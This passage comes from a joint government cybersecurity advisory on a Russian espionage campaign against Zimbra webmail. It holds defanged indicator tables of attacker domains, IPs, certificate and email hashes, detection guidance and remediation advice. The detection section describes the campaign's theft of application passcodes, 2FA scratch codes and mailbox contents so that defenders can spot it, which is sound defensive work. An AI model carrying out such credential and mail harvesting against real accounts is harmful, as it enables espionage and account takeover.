<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Associated Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>X.509 SHA-1 Hash </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>2e4f314bc9943cab5005d6fde0b271c74d47bc9d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Jul 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>50a87d926621dd06389ba50d86e0ff574ed713a8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>6 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>13 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
